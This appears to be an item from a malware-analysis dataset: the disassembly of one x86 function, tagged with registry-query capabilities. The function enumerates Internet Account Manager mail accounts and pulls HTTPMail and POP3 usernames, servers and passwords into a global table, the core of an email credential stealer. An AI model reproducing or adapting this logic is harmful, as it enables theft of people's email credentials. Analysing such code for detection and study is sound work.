Function at 0x40207d
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2fc
push 0x3a98
push 0
push 0x417580
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x414e10
lea eax, [ebp - 0xcc]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
lea ecx, [ebp - 0x168]
push ecx
push 0xf003f
push 0
lea edx, [ebp - 0xcc]
push edx
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 0
je 0x4020e0
jmp 0x4025dc
mov dword [ebp - 0x17c], 0
mov dword [ebp - 0x184], 0
mov dword [ebp - 0x180], 0
mov dword [ebp - 0x16c], 3
cmp dword [ebp - 0x184], 0x103
je 0x4025dc
mov dword [ebp - 0x178], 0xc8
lea eax, [ebp - 0x174]
push eax
push 0
push 0
push 0
lea ecx, [ebp - 0x178]
push ecx
lea edx, [ebp - 0x2ec]
push edx
mov eax, dword [ebp - 0x17c]
push eax
mov ecx, dword [ebp - 0x168]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov dword [ebp - 0x184], eax
push str.SoftwareMicrosoftInternet_Account_ManagerAccounts
lea edx, [ebp - 0xcc]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push 0x414e80
lea eax, [ebp - 0xcc]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea ecx, [ebp - 0x2ec]
push ecx
lea edx, [ebp - 0xcc]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x188]
push eax
push 0xf003f
push 0
lea ecx, [ebp - 0xcc]
push ecx
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 4], 0x96
lea edx, [ebp - 4]
push edx
lea eax, [ebp - 0x164]
push eax
lea ecx, [ebp - 0x16c]
push ecx
push 0
push str.HTTPMail_U
mov edx, dword [ebp - 0x188]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x402399
lea eax, [ebp - 0x164]
push eax
mov ecx, dword [0x41b030]
imul ecx, ecx, 0x12c
add ecx, 0x417580
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push 0x96
push 0
lea edx, [ebp - 0x164]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.Hotmail
mov eax, dword [0x41b030]
imul eax, eax, 0x12c
add eax, 0x417648
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov dword [ebp - 4], 0x96
lea ecx, [ebp - 4]
push ecx
lea edx, [ebp - 0x220]
push edx
lea eax, [ebp - 0x16c]
push eax
push 0
push str.HTTPMail_p
mov ecx, dword [ebp - 0x188]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40236f
mov dword [ebp - 0x2f4], 0
mov dword [ebp - 0x2f0], 2
jmp 0x402290
mov edx, dword [ebp - 0x2f0]
add edx, 1
mov dword [ebp - 0x2f0], edx
mov eax, dword [ebp - 0x2f0]
cmp eax, dword [ebp - 4]
jae 0x402355
mov ecx, dword [ebp - 0x2f0]
mov dl, byte [ebp + ecx - 0x220]
push edx
call dword [sym.imp.USER32.dll_IsCharAlphaNumericA]
test eax, eax
jne 0x40231b
mov eax, dword [ebp - 0x2f0]
xor ecx, ecx
mov cl, byte [ebp + eax - 0x220]
cmp ecx, 0x28
je 0x40231b
mov edx, dword [ebp - 0x2f0]
xor eax, eax
mov al, byte [ebp + edx - 0x220]
cmp eax, 0x29
je 0x40231b
mov ecx, dword [ebp - 0x2f0]
xor edx, edx
mov dl, byte [ebp + ecx - 0x220]
cmp edx, 0x2e
je 0x40231b
mov eax, dword [ebp - 0x2f0]
xor ecx, ecx
mov cl, byte [ebp + eax - 0x220]
cmp ecx, 0x20
je 0x40231b
mov edx, dword [ebp - 0x2f0]
xor eax, eax
mov al, byte [ebp + edx - 0x220]
cmp eax, 0x2d
jne 0x402350
mov ecx, dword [0x41b030]
imul ecx, ecx, 0x12c
mov edx, dword [ebp - 0x2f4]
mov eax, dword [ebp - 0x2f0]
mov al, byte [ebp + eax - 0x220]
mov byte [ecx + edx + 0x4175e4], al
mov ecx, dword [ebp - 0x2f4]
add ecx, 1
mov dword [ebp - 0x2f4], ecx
jmp 0x402281
mov edx, dword [0x41b030]
imul edx, edx, 0x12c
mov eax, dword [ebp - 0x2f4]
mov byte [edx + eax + 0x4175e4], 0
push 0x96
push 0
lea ecx, [ebp - 0x220]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov edx, dword [0x41b030]
add edx, 1
mov dword [0x41b030], edx
jmp 0x4025b9
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0x164]
push ecx
lea edx, [ebp - 0x16c]
push edx
push 0
push str.POP3_U
mov eax, dword [ebp - 0x188]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4025b9
lea ecx, [ebp - 0x164]
push ecx
mov edx, dword [0x41b030]
imul edx, edx, 0x12c
add edx, 0x417580
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push 0x96
push 0
lea eax, [ebp - 0x164]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 4], 0x96
lea ecx, [ebp - 4]
push ecx
lea edx, [ebp - 0x164]
push edx
lea eax, [ebp - 0x16c]
push eax
push 0
push str.POP3_S
mov ecx, dword [ebp - 0x188]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea edx, [ebp - 0x164]
push edx
mov eax, dword [0x41b030]
imul eax, eax, 0x12c
add eax, 0x417648
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push 0x96
push 0
lea ecx, [ebp - 0x164]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 4], 0x96
lea edx, [ebp - 4]
push edx
lea eax, [ebp - 0x220]
push eax
lea ecx, [ebp - 0x16c]
push ecx
push 0
push str.POP3_P
mov edx, dword [ebp - 0x188]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x402596
mov dword [ebp - 0x2fc], 0
mov dword [ebp - 0x2f8], 2
jmp 0x4024b8
mov eax, dword [ebp - 0x2f8]
add eax, 1
mov dword [ebp - 0x2f8], eax
mov ecx, dword [ebp - 0x2f8]
cmp ecx, dword [ebp - 4]
jae 0x40257d
mov edx, dword [ebp - 0x2f8]
mov al, byte [ebp + edx - 0x220]
push eax
call dword [sym.imp.USER32.dll_IsCharAlphaNumericA]
test eax, eax
jne 0x402543
mov ecx, dword [ebp - 0x2f8]
xor edx, edx
mov dl, byte [ebp + ecx - 0x220]
cmp edx, 0x28
je 0x402543
mov eax, dword [ebp - 0x2f8]
xor ecx, ecx
mov cl, byte [ebp + eax - 0x220]
cmp ecx, 0x29
je 0x402543
mov edx, dword [ebp - 0x2f8]
xor eax, eax
mov al, byte [ebp + edx - 0x220]
cmp eax, 0x2e
je 0x402543
mov ecx, dword [ebp - 0x2f8]
xor edx, edx
mov dl, byte [ebp + ecx - 0x220]
cmp edx, 0x20
je 0x402543
mov eax, dword [ebp - 0x2f8]
xor ecx, ecx
mov cl, byte [ebp + eax - 0x220]
cmp ecx, 0x2d
jne 0x402578
mov edx, dword [0x41b030]
imul edx, edx, 0x12c
mov eax, dword [ebp - 0x2fc]
mov ecx, dword [ebp - 0x2f8]
mov cl, byte [ebp + ecx - 0x220]
mov byte [edx + eax + 0x4175e4], cl
mov edx, dword [ebp - 0x2fc]
add edx, 1
mov dword [ebp - 0x2fc], edx
jmp 0x4024a9
mov eax, dword [0x41b030]
imul eax, eax, 0x12c
mov ecx, dword [ebp - 0x2fc]
mov byte [eax + ecx + 0x4175e4], 0
push 0x96
push 0
lea edx, [ebp - 0x220]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov eax, dword [0x41b030]
add eax, 1
mov dword [0x41b030], eax
mov ecx, dword [ebp - 0x180]
add ecx, 1
mov dword [ebp - 0x180], ecx
mov edx, dword [ebp - 0x17c]
add edx, 1
mov dword [ebp - 0x17c], edx
jmp 0x402108
mov esp, ebp
pop ebp
ret